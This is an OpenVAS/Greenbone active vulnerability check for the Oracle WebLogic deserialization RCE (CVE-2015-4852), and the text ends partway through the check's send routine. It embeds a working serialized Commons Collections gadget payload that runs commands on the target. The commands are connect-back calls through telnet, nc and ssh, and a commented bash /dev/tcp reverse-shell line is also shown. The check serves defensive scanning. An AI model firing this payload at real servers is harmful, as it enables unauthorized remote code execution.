Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:bea:weblogic_server";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105829");
  script_version("2024-12-03T05:05:44+0000");
  script_tag(name:"last_modification", value:"2024-12-03 05:05:44 +0000 (Tue, 03 Dec 2024)");
  script_tag(name:"creation_date", value:"2016-07-27 14:18:32 +0200 (Wed, 27 Jul 2016)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2023-12-21 01:31:00 +0000 (Thu, 21 Dec 2023)");

  script_cve_id("CVE-2015-4852");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check");

  script_category(ACT_ATTACK);

  script_family("Web Servers");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("gb_oracle_weblogic_consolidation.nasl", "os_detection.nasl");
  script_mandatory_keys("oracle/weblogic/detected");
  script_require_ports("Services/weblogic-t3", 7001);

  script_tag(name:"summary", value:"Oracle WebLogic Server is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted serialized Java object and checks if the
  target is connecting back to the scanner host.

  Note: For a successful detection of this flaw the target host needs to be able to reach the
  scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
  of 10000-32000).");

  script_tag(name:"insight", value:"Unsafe deserialization allows unauthenticated remote attackers
  to run arbitrary code on the Oracle WebLogic Server.");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
  arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"Oracle WebLogic Server versions 10.3.6.0, 12.1.2.0, 12.1.3.0
  and 12.2.1.0 are known to be affected.");

  script_tag(name:"solution", value:"Updates are available. Please see the references or vendor
  advisory for more information.");

  script_xref(name:"URL", value:"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html");
  script_xref(name:"URL", value:"https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/");
  script_xref(name:"URL", value:"https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/weblogic.py");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("pcap_func.inc");
include("list_array_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"weblogic-t3" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
target_host = get_host_ip();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );

payload_before = raw_string(
  0x01, 0x65, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x71, 0x00,
  0x00, 0xea, 0x60, 0x00, 0x00, 0x00, 0x18, 0x43, 0x2e, 0xc6, 0xa2, 0xa6, 0x39, 0x85, 0xb5, 0xaf,
  0x7d, 0x63, 0xe6, 0x43, 0x83, 0xf4, 0x2a, 0x6d, 0x92, 0xc9, 0xe9, 0xaf, 0x0f, 0x94, 0x72, 0x02,
  0x79, 0x73, 0x72, 0x00, 0x78, 0x72, 0x01, 0x78, 0x72, 0x02, 0x78, 0x70, 0x00, 0x00, 0x00, 0x0c,
  0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  0x00, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x70, 0x06, 0xfe, 0x01,
  0x00, 0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x1d, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67,
  0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x54, 0x61, 0x62,
  0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2f, 0x52, 0x65, 0x81, 0x57, 0xf4, 0xf9, 0xed, 0x0c,
  0x00, 0x00, 0x78, 0x70, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e,
  0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2e,
  0x50, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0xe6, 0xf7, 0x23, 0xe7, 0xb8,
  0xae, 0x1e, 0xc9, 0x02, 0x00, 0x09, 0x49, 0x00, 0x05, 0x6d, 0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00,
  0x05, 0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70, 0x61, 0x74, 0x63, 0x68, 0x55, 0x70,
  0x64, 0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61,
  0x74, 0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x61, 0x63,
  0x6b, 0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72, 0x61, 0x72, 0x79, 0x50, 0x61, 0x74,
  0x63, 0x68, 0x4c, 0x00, 0x09, 0x69, 0x6d, 0x70, 0x6c, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x74, 0x00,
  0x12, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69,
  0x6e, 0x67, 0x3b, 0x4c, 0x00, 0x0a, 0x69, 0x6d, 0x70, 0x6c, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72,
  0x71, 0x00, 0x7e, 0x00, 0x03, 0x4c, 0x00, 0x0b, 0x69, 0x6d, 0x70, 0x6c, 0x56, 0x65, 0x72, 0x73,
  0x69, 0x6f, 0x6e, 0x71, 0x00, 0x7e, 0x00, 0x03, 0x78, 0x70, 0x77, 0x02, 0x00, 0x00, 0x78, 0xfe,
  0x01, 0x00, 0x00 );

payload_before += raw_string(
  0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x32, 0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65, 0x66, 0x6c,
  0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41,
  0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74,
  0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb,
  0x7e, 0xa5, 0x02, 0x00, 0x02, 0x4c, 0x00, 0x0c, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61,
  0x6c, 0x75, 0x65, 0x73, 0x74, 0x00, 0x0f, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69,
  0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x4c, 0x00, 0x04, 0x74, 0x79, 0x70, 0x65, 0x74, 0x00, 0x11,
  0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73,
  0x3b, 0x78, 0x70, 0x73, 0x7d, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0d, 0x6a, 0x61, 0x76, 0x61, 0x2e,
  0x75, 0x74, 0x69, 0x6c, 0x2e, 0x4d, 0x61, 0x70, 0x78, 0x72, 0x00, 0x17, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x50, 0x72,
  0x6f, 0x78, 0x79, 0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb, 0x02, 0x00, 0x01, 0x4c, 0x00,
  0x01, 0x68, 0x74, 0x00, 0x25, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f,
  0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2f, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69,
  0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x71, 0x00, 0x7e,
  0x00, 0x00, 0x73, 0x72, 0x00, 0x2a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
  0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
  0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x6d, 0x61, 0x70, 0x2e, 0x4c, 0x61, 0x7a, 0x79, 0x4d, 0x61, 0x70,
  0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94, 0x03, 0x00, 0x01, 0x4c, 0x00, 0x07, 0x66, 0x61,
  0x63, 0x74, 0x6f, 0x72, 0x79, 0x74, 0x00, 0x2c, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61,
  0x63, 0x68, 0x65, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c,
  0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72,
  0x6d, 0x65, 0x72, 0x3b, 0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70,
  0x61, 0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c,
  0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72,
  0x73, 0x2e, 0x43, 0x68, 0x61, 0x69, 0x6e, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
  0x72, 0x6d, 0x65, 0x72, 0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04, 0x02, 0x00, 0x01, 0x5b,
  0x00, 0x0d, 0x69, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x73, 0x74,
  0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2f, 0x63,
  0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,
  0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x3b, 0x78,
  0x70, 0x75, 0x72, 0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
  0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
  0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65,
  0x72, 0x3b, 0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00,
  0x00, 0x00, 0x05, 0x73, 0x72, 0x00, 0x3b, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68,
  0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,
  0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x43,
  0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d,
  0x65, 0x72, 0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94, 0x02, 0x00, 0x01, 0x4c, 0x00, 0x09,
  0x69, 0x43, 0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x74, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76,
  0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x78, 0x70,
  0x76, 0x72, 0x00, 0x11, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75,
  0x6e, 0x74, 0x69, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x78, 0x70, 0x73, 0x72, 0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65,
  0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,
  0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73, 0x2e, 0x49, 0x6e,
  0x76, 0x6f, 0x6b, 0x65, 0x72, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72,
  0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38, 0x02, 0x00, 0x03, 0x5b, 0x00, 0x05, 0x69, 0x41,
  0x72, 0x67, 0x73, 0x74, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e,
  0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x4c, 0x00, 0x0b, 0x69, 0x4d, 0x65, 0x74,
  0x68, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f,
  0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0x5b, 0x00, 0x0b, 0x69,
  0x50, 0x61, 0x72, 0x61, 0x6d, 0x54, 0x79, 0x70, 0x65, 0x73, 0x74, 0x00, 0x12, 0x5b, 0x4c, 0x6a,
  0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0x78,
  0x70, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
  0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b, 0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c,
  0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x02, 0x74, 0x00, 0x0a, 0x67, 0x65, 0x74, 0x52,
  0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x75, 0x72, 0x00, 0x12, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x3b, 0xab, 0x16, 0xd7, 0xae,
  0xcb, 0xcd, 0x5a, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x09,
  0x67, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00,
  0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
  0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42, 0x02,
  0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x16,
  0x75, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x02, 0x70, 0x75, 0x71, 0x00, 0x7e, 0x00,
  0x1b, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x06, 0x69, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x75, 0x71,
  0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61,
  0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x1b, 0x73,
  0x71, 0x00, 0x7e, 0x00, 0x16, 0x75, 0x72, 0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e,
  0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0xad, 0xd2, 0x56, 0xe7,
  0xe9, 0x1d, 0x7b, 0x47, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x74, 0x00 );

payload_after = raw_string(
  0xfe, 0x01, 0x00, 0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x1d, 0x77, 0x65, 0x62, 0x6c,
  0x6f, 0x67, 0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x54,
  0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2f, 0x52, 0x65, 0x81, 0x57, 0xf4, 0xf9,
  0xed, 0x0c, 0x00, 0x00, 0x78, 0x70, 0x72, 0x00, 0x21, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69,
  0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61,
  0x6c, 0x2e, 0x50, 0x65, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x58, 0x54, 0x74, 0xf3, 0x9b, 0xc9,
  0x08, 0xf1, 0x02, 0x00, 0x07, 0x49, 0x00, 0x05, 0x6d, 0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00, 0x05,
  0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70, 0x61, 0x74, 0x63, 0x68, 0x55, 0x70, 0x64,
  0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61, 0x74,
  0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x61, 0x63, 0x6b,
  0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72, 0x61, 0x72, 0x79, 0x50, 0x61, 0x74, 0x63,
  0x68, 0x5b, 0x00, 0x08, 0x70, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x73, 0x74, 0x00, 0x27, 0x5b,
  0x4c, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
  0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x50, 0x61, 0x63, 0x6b, 0x61, 0x67,
  0x65, 0x49, 0x6e, 0x66, 0x6f, 0x3b, 0x78, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67,
  0x69, 0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e,
  0x61, 0x6c, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x97, 0x22,
  0x45, 0x51, 0x64, 0x52, 0x46, 0x3e, 0x02, 0x00, 0x03, 0x5b, 0x00, 0x08, 0x70, 0x61, 0x63, 0x6b,
  0x61, 0x67, 0x65, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03, 0x4c, 0x00, 0x0e, 0x72, 0x65, 0x6c, 0x65,
  0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x74, 0x00, 0x12, 0x4c, 0x6a, 0x61,
  0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b, 0x5b,
  0x00, 0x12, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x41, 0x73, 0x42,
  0x79, 0x74, 0x65, 0x73, 0x74, 0x00, 0x02, 0x5b, 0x42, 0x78, 0x72, 0x00, 0x24, 0x77, 0x65, 0x62,
  0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x69, 0x6e, 0x74,
  0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2e, 0x50, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x66,
  0x6f, 0xe6, 0xf7, 0x23, 0xe7, 0xb8, 0xae, 0x1e, 0xc9, 0x02, 0x00, 0x09, 0x49, 0x00, 0x05, 0x6d,
  0x61, 0x6a, 0x6f, 0x72, 0x49, 0x00, 0x05, 0x6d, 0x69, 0x6e, 0x6f, 0x72, 0x49, 0x00, 0x0b, 0x70,
  0x61, 0x74, 0x63, 0x68, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x49, 0x00, 0x0c, 0x72, 0x6f, 0x6c,
  0x6c, 0x69, 0x6e, 0x67, 0x50, 0x61, 0x74, 0x63, 0x68, 0x49, 0x00, 0x0b, 0x73, 0x65, 0x72, 0x76,
  0x69, 0x63, 0x65, 0x50, 0x61, 0x63, 0x6b, 0x5a, 0x00, 0x0e, 0x74, 0x65, 0x6d, 0x70, 0x6f, 0x72,
  0x61, 0x72, 0x79, 0x50, 0x61, 0x74, 0x63, 0x68, 0x4c, 0x00, 0x09, 0x69, 0x6d, 0x70, 0x6c, 0x54,
  0x69, 0x74, 0x6c, 0x65, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x4c, 0x00, 0x0a, 0x69, 0x6d, 0x70, 0x6c,
  0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x4c, 0x00, 0x0b, 0x69, 0x6d,
  0x70, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x78, 0x70,
  0x77, 0x02, 0x00, 0x00, 0x78, 0xfe, 0x00, 0xff, 0xfe, 0x01, 0x00, 0x00, 0xac, 0xed, 0x00, 0x05,
  0x73, 0x72, 0x00, 0x13, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x2e, 0x72, 0x6a, 0x76,
  0x6d, 0x2e, 0x4a, 0x56, 0x4d, 0x49, 0x44, 0xdc, 0x49, 0xc2, 0x3e, 0xde, 0x12, 0x1e, 0x2a, 0x0c,
  0x00, 0x00, 0x78, 0x70, 0x77, 0x46, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x31, 0x2e, 0x31, 0x00, 0x0b, 0x75, 0x73, 0x2d, 0x6c,
  0x2d, 0x62, 0x72, 0x65, 0x65, 0x6e, 0x73, 0xa5, 0x3c, 0xaf, 0xf1, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x1b, 0x59, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x78, 0xfe, 0x01, 0x00,
  0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x13, 0x77, 0x65, 0x62, 0x6c, 0x6f, 0x67, 0x69,
  0x63, 0x2e, 0x72, 0x6a, 0x76, 0x6d, 0x2e, 0x4a, 0x56, 0x4d, 0x49, 0x44, 0xdc, 0x49, 0xc2, 0x3e,
  0xde, 0x12, 0x1e, 0x2a, 0x0c, 0x00, 0x00, 0x78, 0x70, 0x77, 0x1d, 0x01, 0x81, 0x40, 0x12, 0x81,
  0x34, 0xbf, 0x42, 0x76, 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x31, 0x2e, 0x31, 0xa5,
  0x3c, 0xaf, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78 );

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  # nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
  # by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
  # have false positives due to race conditions (target is sending back a response to a request of
  # another VT for which the scanner had chosen the same source port).
  rnd_port = rand_int_range( min:10000, max:32000 );
  filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
  # nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
  filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );

  if( os_host_runs( "Windows" ) == "yes" ) {
    cmds = make_list( "telnet " + connect_back_target + " " + rnd_port );
  } else {
    # nb:
    # - In the initial version of this VT only the ssh binary has been called. But some targets
    #   might not have the SSH client binary installed at all so a more generic approach has been
    #   taken here as well.
    # - Initially the following command which works on a standard Linux has been tried:
    #   "echo " + base64( str:" >&/dev/tcp/" + connect_back_target + "/" + rnd_port + " 0>&1" ) + " | base64 -d | bash -i"
    #   but even working on the command line it seems the T3 protocol / the target might have
    #   problems with that so netcat has been used instead
    # - nc commands used:
    #   - -z      Only scan for listening daemons, without sending any data to them.
    #   - -n      Do not perform domain name resolution.
    cmds = make_list(
      "ssh -q -i /dev/null -p " + rnd_port + " " + connect_back_target,
      "nc -zn " + connect_back_target + " " + rnd_port
    );
  }

  foreach cmd( cmds ) {

    # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
    # hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
    # ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would share
    # the same socket causing race conditions and similar.
    if( ! soc = open_sock_tcp( port ) )
      continue;

    req = 't3 12.2.1\n' +
          'AS:255\n' +
          'HL:19\n' +
          'MS:10000000\n' +
          'PU:t3://us-l-breens:7001\n\n';

    send( socket:soc, data:req );
